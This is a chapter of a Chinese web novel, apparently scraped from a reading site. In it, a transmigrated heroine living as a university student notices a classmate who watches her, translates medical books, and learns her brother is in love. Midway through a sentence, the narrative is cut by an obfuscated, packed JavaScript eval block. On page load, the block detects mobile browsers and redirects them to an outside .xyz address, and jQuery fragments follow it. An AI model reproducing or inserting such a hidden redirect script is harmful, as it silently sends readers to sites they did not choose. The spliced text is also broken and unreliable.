九月的京市,一日凉似一日,京大的校园里,处处可见脚步匆匆的学生,楚霏亦是其中的一员,她这学期的闲暇时间开始翻译外文书籍了。
殊不知,有个和她同届的清瘦青年,正在某处树荫下遥遥望着她。
“又见面了,珊珊。”青年唇动低喃,眼中有恍惚有怀念,还有一些惊痛。
“刘韬,你非要来中文系是有认识的人?还是专门跑来看这儿的女同学啊?”有个身材高大的青年大手搭在他肩上,笑容爽朗中带着些打趣。
刘韬眼眸一垂,道:“我们回去吧。”
说完,他先抬脚朝前走,搭着他肩的小伙子没料到,差点一个趔趄摔倒。
“你小子咋回事啊,平时也就是安静些,今儿怎么消沉成这样?”
刘韬只顾着往前走,没有回应。
“哎?哎?你倒是应我一声啊!”
他们是力学专业的学生,现在也大二了,住在一个宿舍,之前从来没听刘韬说过他认识中文系的人,可不知怎么的,今儿忽然就要来这里看看。
“你说你,是不是之前也偷偷来过中文系,只不过我们都不知道?”
“张向阳,回去别说我们来过这儿。”刘韬忽然叮嘱道。
“放心吧,我嘴紧着呢!”被称作张向阳的小伙子应了,忍了没半分钟,又问,“那你能说说,你来这里是见谁不?”
刘韬驻足看他。
张向阳不好意思地笑笑:“我就是好奇,没别的意思。”
“嗯……见一个久违的故人。”
“你这话说的,像个古代人似的。”
刘韬没再细说,任凭张向阳怎么追问,都没有说这个故人是男是女、哪儿的人、怎么认识的等等。
这之后,刘韬隔段时间就会悄默着来中文系这边,远远站在路边或是绿化带里,等候着能看那姑娘一眼。
一次两次的察觉不到,可次数多了,楚霏又是个感知敏锐的人,自然就注意到了他。
经过几次确认,她才肯定这个人看得就是她,或者说……杨珊。
但杨珊记忆中分明没有这么个人,楚霏还设法打听了一下,才知道这人叫刘韬,就读于力学专业,哦,还是和她同届高考、同省的理科第二。
旁的或许知道得还不算详细,可“刘韬”这个名字却是熟悉的。
这是原本杨珊人生中的重要人物,是后来与她结婚的丈夫。
楚霏不懂情,现在知道这是谁,也仅限于知道了而已,旁的根本不曾多想。
然而,当天晚上,她在宿舍入睡后不久,识海中那个发绿光的东西,又给了她一些文字描述。
【刘韬和杨珊为校友,刘韬知道她是在学校组织的演讲比赛上,只觉得这姑娘站在台上侃侃而谈时,既自信又耀眼,仿佛整个人都在发光,后来听人说才知道她父母都是高官,哥哥也是天才,这样家世出众的姑娘,理所当然该是这般模样。】
【刘韬一开始是以欣赏的目光来看待杨珊的,关注的多了才慢慢生出了喜欢,可他也清楚,来自西北的他配不上这样出身的姑娘。却没想到,在即将毕业的时候,听闻了杨珊是假千金的事,再一打听才知道她的亲生父母与他家同在一省一市。】
【但尽管如此,刘韬也没觉得他们能有什么结果,只是钦佩她能毅然决然说出身世真相,也坚决要换回亲生父母家,更怜惜她有此遭遇,恐怕带来的打击很大。】
【后来,两人因相亲再次相见,刘韬倍感惊讶,在杨珊没有明确反对的情况下,主动促成了二人的婚事,并为此放弃了在大城市寻找工作,而是心甘情愿随她去了西北小城,可惜……婚后几年,杨珊沉浸在有志难舒和对梁家、梁婷婷的愧疚中,两人夫妻关系平淡,使得刘韬以为是他强求了这段姻缘,杨珊并不爱他。】
【刘韬没有逼着杨珊喜欢他、爱他,而是想通过天长日久的陪伴赢得她的心,却不曾料到杨珊会因救人车祸而亡,此后他一直自责不已,认为是他强求,误了她的幸福,让她经历了一段痛苦的婚姻,短暂的一生连些温情都没能得到。】
楚霏猝然睁眼坐起,犯难地蹙起了眉。
这么说来,刘韬也是杨珊悔意的一部分?
但他是杨珊的丈夫,楚霏并不愿意与之接触,实在是……大祁时宋元玉喜欢的那个镇北王世子,给她留下了极不好的深刻印象。
而且,自她上大学至今,并没有参加什么演讲比赛,那就不可能让刘韬看到,可现在这人居然找来了中文系,还时常远远观望她,这明显与杨珊原本的经历不符啊!
所以,这个刘韬八成和那镇北王世子燕北归一样,有一些奇特的经历,才能提前知道杨珊。
楚霏捂着头为难极了,这种涉及男女关系的人或者事,属实不是她能处理的,她根本理解不了那些情情爱爱,哪怕现在是与杨珊共享身体和一切,也同样无法理解。
她枯坐良久,仍想不出什么好办法,倒是引起了旁边床上晚睡的姑娘注意。
“杨珊,你不是睡了?咋又坐起来了?是不是做噩梦了?”那姑娘关心地问道。
“嗯,我缓缓就睡。”楚霏应了一声,复又躺回床上。
算了,既然刘韬不靠近,那就先不管他,她现在首要的事是还账、收拾房子。
于是,楚霏把刘韬抛之脑后,继续忙着上课、翻译英文书籍,她在又翻译了一本小说后,便改了方向去翻译那些专业资料。
因为小说这东西,大都有情情爱爱的内容,她不能理解这个,遇到这种内容,即便是古文水平高,也没法准确地将之以汉语诗词或是成语翻译过来,导致她这本小说的译文交给出版社后,审核时被圈出不少谬误的地方,还是出版社那边帮着改的。
而专业资料就不会有这种问题,只是专业资料会涉及很多学术用语,楚霏想要翻译他们,就先得了解相关的专业知识。
好在她学习能力强、记忆力也出众,一边学一边翻译,熟练度一上来,速度就快了。
楚霏首先翻译的是医学方面的英文资料,这个她高中时已经陆续看过西医的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328848|180148||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
书,很多专业名词都知道,翻译时不用查太多资料和英文词典。
等大二上学期结束,她已完成了两本英文医学书籍的译文,这次同样是找梁珘帮着去卖的,专业译文书籍有相应的渠道出版,这得找对地方才行。
相比起教辅资料和英文小说,这种专业的译文书籍价格更高一些,这两本书最后卖了近五万块钱,这回她没拿去还账,而是找人准备收拾房子。
“先找人把杂物、垃圾清理了,修复房子的匠人再找找,有些活儿天暖了才好干。”梁珘提了建议,“我帮你打问,别着急。”
“你不忙了?不是这学期就要毕业了?”楚霏问。
梁珘研究生已经读到第三年了,按现在的学制,今年就能毕业了。
“还行,现在该准备毕设和论文,时间比较自由。”
“不搞研究了?你大学的时候,大四那年不是照样很忙?”楚霏诧异不已。
梁珘笑了笑,唇边弧度明显:“不搞了,我想开家公司,以后做软件开发之类的,如果有好的成果,说不定能和国家合作。”
虽然自小一起长大,但从没看到他笑容这么明显过。
楚霏迟疑:“你不是一直想当科学家的吗?”
梁婷婷端着盘洗好的苹果过来,道:“听说啊,这人一旦有突然的变化,不是恋爱了就是失恋了,哥,你是哪一种啊?”
梁珘只笑不说话。
楚霏就更意外了:“恋爱了?”
她确定他之前没有相熟的女孩子,不可能是失恋。
梁婷婷见他没有否认,顿时来了兴趣,凑到跟前问:“哥,你真恋爱了?是谁啊?哪儿的姑娘,怎么认识的?”
梁珘哪招架得住她这样追问,便道:“只是看到一个特别的人。”
“嗐,你这是连认识都不认识?”梁婷婷无语地往后一躺,白了他一眼,“哥,你这不行啊!”
楚霏:“是校友?偶然见到的?”
梁珘“嗯”了一声,唇边又泛起了笑纹:“是个学画的姑娘,在舅舅家见到的,快要毕业了。”
“这是舅妈的学生?”梁婷婷想到舅妈程云澜教的就是国画,便明白了。
梁珘点点头:“她的父母也是京大的教授,和舅妈是一个院系的同事。”
这意思是姑娘的父母都是搞艺术的。
楚霏和梁婷婷对视一眼,总觉得一个文艺家庭的姑娘,和梁珘这样的十分不搭,二者可以说南辕北辙。
“哥,人家能看上你吗?”梁婷婷不大相信地道。
梁珘笑容淡了些:“不知道。”
楚霏也觉得不大可能,不过鼓励还是得有,便道:“哥,那你好好追,争取早日让她成为我们的嫂子。”
梁珘明显高兴了,笑容都加深了些:“我尽量。”
梁婷婷和楚霏视线一碰,没有再打击他这份信心。
至于那姑娘,她们也没想着去看看,如今八字还没一撇,等人追到了再说吧,如果时机合适,梁珘自然会把人带回来的。